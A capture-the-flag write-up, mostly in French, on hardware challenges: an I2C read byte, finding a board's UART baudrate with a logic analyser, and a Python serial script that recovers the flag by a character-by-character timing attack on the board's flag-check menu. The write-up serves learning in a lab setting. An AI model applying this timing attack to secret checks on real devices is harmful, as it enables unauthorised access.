CHALL 1 - I2C

Frequency information:

Read sequence at current address: We understand that in order to read at curr addr we need to send the value:

0b10100111 == 0xa7

CHALL 2 - UART

On fait le montage pour s'interfacer en série en UART sur la board et on branche en parallèle l'analyseur logique pour déterminer le baudrate. Le montage donne ça:

Ensuite avec Pulseview on calcule le baudrate avec un signal d'appui sur une touche du touchpad de la board:

baudrate = 1 / 17us = 1 / 0.000017 =~ 57600

Ensuite on décode ça en UART pour vérif sur Pulseview et on obtient: Bingo :)

Ensuite on s'interface en série avec miniterm: On se rend compte qu'il y a un menu avec une option FLAG qui permet de tester si le flag est bon, en testant plusieurs fois on se dit qu'il serait possible d'effectuer une timing attack sur cet input et donc on écrit ce script python3:

import serial
import time
from string import printable

ser = serial.Serial('/dev/ttyUSB0', 57600)

# ser.write(b"1")
# ser.write(b"\x0A\x0D")
ser.write(b"FLAG")
# time.sleep(0.000017)
ser.write(b"\x0D\x0A")
print("Message envoyé avec succès")

flag = ""
chars = printable[:-6]

while True:
    best_time = 0
    best_c = ''
    for c in chars:
        buff = flag + c
        start = time.time()
        ser.write(buff.encode()+b"\x0A\x0D")
        ser.readlines(2)
        end = time.time()
        timer = end-start
        if timer > best_time:
            best_time = timer
            best_c = c

    print(best_time)
    flag = flag + best_c
    print(flag)
    if flag[-1] == '}':
        break


print(f"Flagged: {flag}")
ser.close()

Et on obtient bien le flag :)

Unbolted.md

CHALL 1 - I2C

CHALL 2 - UART